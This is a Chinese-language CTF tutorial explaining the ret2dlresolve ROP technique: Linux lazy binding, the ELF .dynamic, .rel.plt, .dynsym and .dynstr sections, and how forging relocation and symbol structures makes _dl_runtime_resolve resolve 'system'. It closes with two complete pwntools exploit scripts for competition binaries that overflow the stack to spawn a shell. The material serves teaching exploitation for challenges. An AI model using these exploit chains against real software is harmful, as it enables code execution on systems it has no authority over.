简介 Ret2dlresolve 是高级 ROP 技巧之一,世界著名的黑客杂志 phrack 在某一期提到过这个攻击技巧,该手段用于没有较好的 gadget、函数、利用链的情况。ret2dlresolve 主要利用了 linux 下的延迟绑定机制,通过修改解析字符串,我们就可以控制最终解析出的函数,从而获取任意函数执行的能力。
延迟绑定 这一攻击技巧的基础就是linux下的延迟绑定机制,所以首先我们来了解一下什么是延迟绑定。
程序员编写一个程序会导入各种各样的函数,例如我们编写一个 hello world C语言程序
1 2 3 4 5 6 7 #include <stdio.h> int main () { printf ("Hello World!\n" ); return 0 ; }
程序员只编写了两句有意义的代码,其中 printf 函数不是我们自己写的,而是从 C语言标准库中导入的。当开发一个大型项目的时候,通常会从标准库中导入很多函数,而某些函数可能从来都不会被调用,为了增加程序的执行效率,linux 引入的延迟绑定这一概念,当程序第一次调用导入函数的时候才去 libc 中寻找对应的地址,并将地址写入 GOT 表中,那些没有被调用的函数就不绑定。已经绑定的函数再次调用则直接去 GOT 表中寻找就好了。
实现延迟绑定的主要函数是 _dl_runtime_resolve,它接受两个参数,分别是 linkmap 和 offset,这个函数我们放在下面讲,首先来了解一下 ELF 的格式信息。
ELF .dynamic 节 这个节包含关于动态链接的信息,PE 或者 ELF 在运行程序的时候都需要进行动态链接,因为源代码中可能调用了动态库中的一些函数,引用其他程序代码时,在编译或者链接阶段不能确定地址到底是什么,因为当程序加载到内存之后地址都是动态的,所以需要重新进行地址定位。
.dynamic 节在动态链接的 ELF 文件中大同小异,结构一般如下(从 IDA 中看)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 LOAD:08049F14 ; ELF Dynamic Information LOAD:08049F14 ; =========================================================================== LOAD:08049F14 LOAD:08049F14 ; Segment type: Pure data LOAD:08049F14 ; Segment permissions: Read/Write LOAD:08049F14 LOAD segment mempage public 'DATA' use32 LOAD:08049F14 assume cs:LOAD LOAD:08049F14 ;org 8049F14h LOAD:08049F14 _DYNAMIC Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o LOAD:08049F14 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o LOAD:08049F14 ; DT_NEEDED libc.so.6 LOAD:08049F1C Elf32_Dyn <0Ch, <80482CCh>> ; DT_INIT LOAD:08049F24 Elf32_Dyn <0Dh, <8048524h>> ; DT_FINI LOAD:08049F2C Elf32_Dyn <19h, <8049F0Ch>> ; DT_INIT_ARRAY LOAD:08049F34 Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ LOAD:08049F3C Elf32_Dyn <1Ah, <8049F10h>> ; DT_FINI_ARRAY LOAD:08049F44 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ LOAD:08049F4C Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH LOAD:08049F54 Elf32_Dyn <5, <804822Ch>> ; DT_STRTAB LOAD:08049F5C Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB LOAD:08049F64 Elf32_Dyn <0Ah, <51h>> ; DT_STRSZ LOAD:08049F6C Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT LOAD:08049F74 Elf32_Dyn <15h, <0>> ; DT_DEBUG LOAD:08049F7C Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT LOAD:08049F84 Elf32_Dyn <2, <18h>> ; DT_PLTRELSZ LOAD:08049F8C Elf32_Dyn <14h, <11h>> ; DT_PLTREL LOAD:08049F94 Elf32_Dyn <17h, <80482B4h>> ; DT_JMPREL LOAD:08049F9C Elf32_Dyn <11h, <80482ACh>> ; DT_REL LOAD:08049FA4 Elf32_Dyn <12h, <8>> ; DT_RELSZ LOAD:08049FAC Elf32_Dyn <13h, <8>> ; DT_RELENT LOAD:08049FB4 Elf32_Dyn <6FFFFFFEh, <804828Ch>> ; DT_VERNEED LOAD:08049FBC Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM LOAD:08049FC4 Elf32_Dyn <6FFFFFF0h, <804827Eh>> ; DT_VERSYM LOAD:08049FCC Elf32_Dyn <0> ; DT_NULL
里面包含许多子节,我们主要关注 DT_STRTAB、DT_SYMTAB、DT_JMPREL,这三项,他们是指向其他节的指针,DT_STRTAB 指向 .dynstr,DT_SYMTAB 指向 .dynsym,DT_JMPREL 指向 .rel.plt。
.rel.plt 节 从 IDA 中,这个节的结构为
1 2 3 4 5 LOAD:080482B4 ; ELF JMPREL Relocation Table LOAD:080482B4 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read LOAD:080482BC Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT memcpy LOAD:080482C4 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT __libc_start_main LOAD:080482C4 LOAD ends
每一行都是一个结构体,结构体定义为
1 2 3 4 5 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
第一个成员是指向 GOT 表的指针,第二个成员是 .dynsym 节的偏移。
.dynsym 节 从 IDA 中来看,这个节的结构如下
1 2 3 4 5 6 7 8 9 LOAD:080481CC ; ELF Symbol Table LOAD:080481CC Elf32_Sym <0> LOAD:080481DC Elf32_Sym <offset aRead - offset byte_804822C, 0, 0, 12h, 0, 0> ; "read" LOAD:080481EC Elf32_Sym <offset aMemcpy - offset byte_804822C, 0, 0, 12h, 0, 0> ; "memcpy" LOAD:080481FC Elf32_Sym <offset aGmonStart - offset byte_804822C, 0, 0, 20h, 0, 0> ; "__gmon_start__" LOAD:0804820C Elf32_Sym <offset aLibcStartMain - offset byte_804822C, 0, 0, 12h, 0, \ ; "__libc_start_main" LOAD:0804820C 0> LOAD:0804821C Elf32_Sym <offset aIoStdinUsed - offset byte_804822C, \ ; "_IO_stdin_used" LOAD:0804821C offset _IO_stdin_used, 4, 11h, 0, 10h>
这个节的每一行也代表着一个结构体,定义如下
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
针对导入函数来说,比较主要的是 st_name,它指向了当前符号在 .dynstr 节中的偏移量。
.dynstr 节 这个节在 IDA 中结构如下
1 2 3 4 5 6 7 8 9 10 11 LOAD:0804822C ; ELF String Table LOAD:0804822C byte_804822C db 0 ; DATA XREF: LOAD:080481DC↑o LOAD:0804822C ; LOAD:080481EC↑o ... LOAD:0804822D aLibcSo6 db 'libc.so.6',0 LOAD:08048237 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804821C↑o LOAD:08048246 aRead db 'read',0 ; DATA XREF: LOAD:080481DC↑o LOAD:0804824B aMemcpy db 'memcpy',0 ; DATA XREF: LOAD:080481EC↑o LOAD:08048252 aLibcStartMain db '__libc_start_main',0 LOAD:08048252 ; DATA XREF: LOAD:0804820C↑o LOAD:08048264 aGlibc20 db 'GLIBC_2.0',0 LOAD:0804826E aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481FC↑o
没有结构体定义,这个节的数据全都是字符串,两两之间用 ‘\x00’ 分割,而且开头和结尾都是 ‘\x00’。
如果将以上介绍的结构用一张图片表示
几点注意:
r_info 指的是对应的结构体在 .dynsym 节中的下标 (并不完全是,一会再讨论) st_name 指的是对应的字符串在 .dynstr 节中的偏移量 ,例如 .dynstr 节头部地址为 0x0804822C,目标字符串的地址是 0x08048246,那么 st_name = 0x08048246 - 0x0804822C = 26 第一次调用导入函数发生了什么 关于 ELF 格式或者各种节的详细介绍我们这里不涉及了,主要来看看当第一调用某个系统函数的时候发生了什么。
在 linux 下随便找一个可执行程序,用 gdb 打开找到一个系统函数单步跟踪。
以 read 函数为例,单步跟进。
红色方框圈出的就是主要代码,第一次调用 read 函数,首先会 jmp 到 GOT 表中寻找地址,但是此时 read 函数还没有被绑定到 GOT 表中。
然后执行了
1 2 push 0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
两步操作,最后通过 jmp 指令跳转到 _dl_runtime_resolve 继续执行。实际上这两句 push 就是将函数的参数入栈,调用函数原型为 dl_runtime_resolve(link_map,0×0),这个函数就会进行一系列操作解析出 read 函数的地址,将地址写入 read 的 GOT 表中,然后将控制权交给 read 继续执行。
_dl_runtime_resolve 我们简单了解一下这个函数的执行过程,它的代码是由汇编编写的,内部主要调用了 _dl_fixup 函数,这个函数的实现在 glibc/elf/dl-runtime.c 中,感兴趣的同学可以阅读源代码。
当程序调用 _dl_runtime_resolve 的时候,这个函数首先根据 linkmap 定位 .dynamic 节的地址,并从中取出 .dynstr、.dynsym、.rel.plt 这三个节的指针,然后利用 .rel.plt 头部指针和传入的第二个参数 offset 定位 .rel.plt 中的 Elf32_Rel 结构体,例如上面的例子传入的偏移量是 0,在 .rel.plt 中找到零号结构体就是
1 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
上面说了这个结构体包含两个成员,第一个是指向 GOT 表的指针 r_offset ,而第二个 r_info 的利用规则为 r_info >> 8
作为.dynsym
的下标,求出当前函数的符号表项Elf32_Sym
的指针,也就是说 0x107 >> 8 = 0x1 作为 .dynsym 节中的下标,取得 Elf32_Sym 结构体。在本例中取到的就是
1 Elf32_Sym <offset aRead - offset byte_804822C, 0, 0, 12h, 0, 0> ; "read"
(注意:.dynsym 节的第一个元素是 0)
取得 Elf32_Sym 结构之后,会根据 st_name 指针从 .dynstr 节中找到对应的字符串,这个 st_name 表示的是字符串相对 .dynstr 节起始地址的偏移量。例如本例中 st_name = offset aRead - offset byte_804822C = 0x08048246 - 0x804822C = 26
当找到了字符串之后,会在 libc 中查找这个函数的地址,并将地址赋值给 Elf32_Rel 的 r_offset 成员(也就是指向 GOT 表的指针)。
最后 _dl_runtime_resolve 将控制权转移给解析出来的函数,完成对应的功能。
总结一下流程
根据传入的 link_map 找到 .dynamic 节,并取出 .dynstr、.dynsym、.rel_plt 三个节。 根据传入的 offset 从 .rel_plt 中找到对应的 Elf32_Rel 结构体。 从 Elf32_Rel 结构体中找到 r_info 成员,根据这个成员的偏移量(r_info >> 8) 从 .dynsym 中找到 Elf32_Sym 结构体。 从 Elf32_Sym 结构体中找到 st_name 成员,根据这个偏移从 .dynstr 节中找到对应的字符串。 根据找到的字符串在 libc 中搜索对应的函数地址,并回填到 Elf32_Rel 的 r_offset 成员中。 将控制权交给解析出来的函数。 攻击思路 如果程序没有开启 RELRO 保护,即 checksec 显示 No RELRO 的时候,我们可以通过修改 .dynamic 节的 .dynstr 指针,将它指向一块可控内存,然后在对应的位置上面伪造好想要解析出来的函数名,例如 “system”。
上面的方法是最简单的,但是很多情况下题目都会开启部分 RELRO 保护,不能修改 .dynamic 的 .dynstr 指针(没有写权限),此时要用到另一种方法,那就是控制 _dl_runtime_resolve 的第二个参数。
通过上面介绍的函数流程,可以发现函数的解析链如下
1 _dl_runtime_resolve(linkmap, offset) -> Elf32_Rel -> r_info -> Elf32_Sym -> st_name -> string -> r_offset
当进行 ROP 等操作的时候,构造一个很大的 offset,并且在可控的内存空间伪造一个 Elf32_Rel 结构体,由于 libc 源代码中没有检查 offset 是否合法(取得这个结构体的算法是 .rel_plt + offset),当根据我们伪造的 offset 获取 Elf32_Rel 的时候就会落在伪造的结构体内部。
紧接着在伪造的结构体中构造好 r_info 偏移量,同样的,这个偏移量也可以伪造一个较大的值,使得 Elf32_Sym 结构体也落在可控内存区域。
在伪造的 Elf32_Sym 结构体中伪造 st_name,并在目标地址写入想要解析的函数名。
将上面三步操作用图片表示
这一攻击流程的核心点在于控制好各个位置的偏移量,可能需要多次调试才能确定精确的偏移。
举个栗子 ISCC 2019 的 PWN01,这道题没有给输出函数,只有一个栈溢出漏洞,并且将数据填写到了 bss 段。
主要代码如下
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char dest; size_t n; int *v6; v6 = &argc; n = read(0 , &buf, 0xF4240 u); memcpy (&dest, &buf, n); return 0 ; }
现将数据读入 bss 段,然后拷贝到栈上,导致栈溢出。
按照攻击思路,我们只需要构造好 ROP 链以及三个 fake 结构体即可完成利用。
构造 ROP 利用链,将返回地址劫持到 plt[0] 即 push linkmap 的位置,同时伪造好三个结构:Elf32_Rel、Elf32_Sym 和有效的字符串 “system”,当执行完 _dl_runtime_resolve 之后,就会将 system 的地址填充到 read 的 got 表中。
完整 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *binary = "./pwn01" ip = "127.0.0.1" port = 10000 local = 1 libc_ver = "2.23" if libc_ver == "2.23" : libc = ELF("./libc.so.6" ) elif libc_ver == "2.27" : libc = ELF("./libc-2.27.so" ) else : log.warning("Unknown libc ver!" ) exit(0 ) context(log_level="DEBUG" , arch="i386" , os="linux" ) if local == 1 : p = process(binary) if local == 0 : p = remote(ip,port) sleep(5 ) buf_addr = 0x0804A040 padding = "/bin/sh\x00" + 'a' * 6 fake_ecx = p32(buf_addr + 0x300 ) padding2 = "\x00" * (0x300 - 22 ) ret_to_dlresolve = p32(0x80482f0 ) fake_offset = p32(buf_addr - 0x080482B4 + len (padding) + len (fake_ecx) + len (padding2) + len (ret_to_dlresolve) + 20 ) padding3 = p32(buf_addr) + p32(buf_addr) * 3 fake_r_offset = p32(0x804A00C ) fake_r_info = p32(0x21907 ) fake_st_name = p32(0x2140 ) fake_Elf32_Sym = p32(0 ) * 2 + p32(0x12 ) + "system\x00" bin_sh = "/bin/sh\x00" payload = padding + fake_ecx + padding2 + ret_to_dlresolve + fake_offset + padding3 + fake_r_offset + fake_r_info + \ fake_st_name + fake_Elf32_Sym + bin_sh p.sendline(payload) sleep(2 ) p.interactive()
注意,虽然说 padding 填充什么都可以,但是当程序执行 system 函数中的 execve 时,需要满足一些必要的条件,由于我们已经将栈帧迁移到了 bss 段,所以 padding 最好填充为 ‘\x00’,否则在执行 execve 的时候会由于环境不正常导致syscall 执行失败。
再举个栗子 这是 2020 年铁三线上赛的一道 pwn 题,利用思路也是 ret2dlresolve,我们可以选择更简单的方式去利用,pwntools 内部集成了 Ret2dlresolvePayload 工具,可以 “一键” 实现攻击。
题目下载地址:链接:https://pan.baidu.com/s/1hkzR87BY8wqDAm_3Z8KSYw 提取码:5cac
官方例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386')) >>> rop = ROP(context.binary) >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"]) >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like >>> rop.ret2dlresolve(dlresolve) >>> raw_rop = rop.chain() >>> print(rop.dump()) 0x0000: 0x80482e0 read(0, 0x804ae00) 0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret 0x0008: 0x0 arg0 0x000c: 0x804ae00 arg1 0x0010: 0x80482d0 [plt_init] system(0x804ae24) 0x0014: 0x2b84 [dlresolve index] 0x0018: b'gaaa' <return address> 0x001c: 0x804ae24 arg0 >>> p = elf.process() >>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload})) >>> p.recvline() b'pwned\n'
比较重要的是 Ret2dlresolvePayload,第一个参数是目标文件的 ELF 对象,第二个是想要解析的函数名,第三个是函数参数。
针对这道题,先依照官方的例子得到 payload,但是在执行 system 函数的时候发现由于 env 参数不为 0,会导致执行失败,所以将输出的 payload 中占位的字节改成 \x00 即可。
1 2 3 4 5 6 7 8 from pwn import *context.binary = elf = ELF("./readme2" ) p = elf.process() payload = "6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d616161608304085a8504080000000000ae040840830408182b00006761616120ae0408000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000073797374656d0061a82b000000000000000000000000000000ae040807c302002f62696e2f736800" .decode('hex' ) print (payload.encode("hex" ))p.sendline(payload) p.interactive()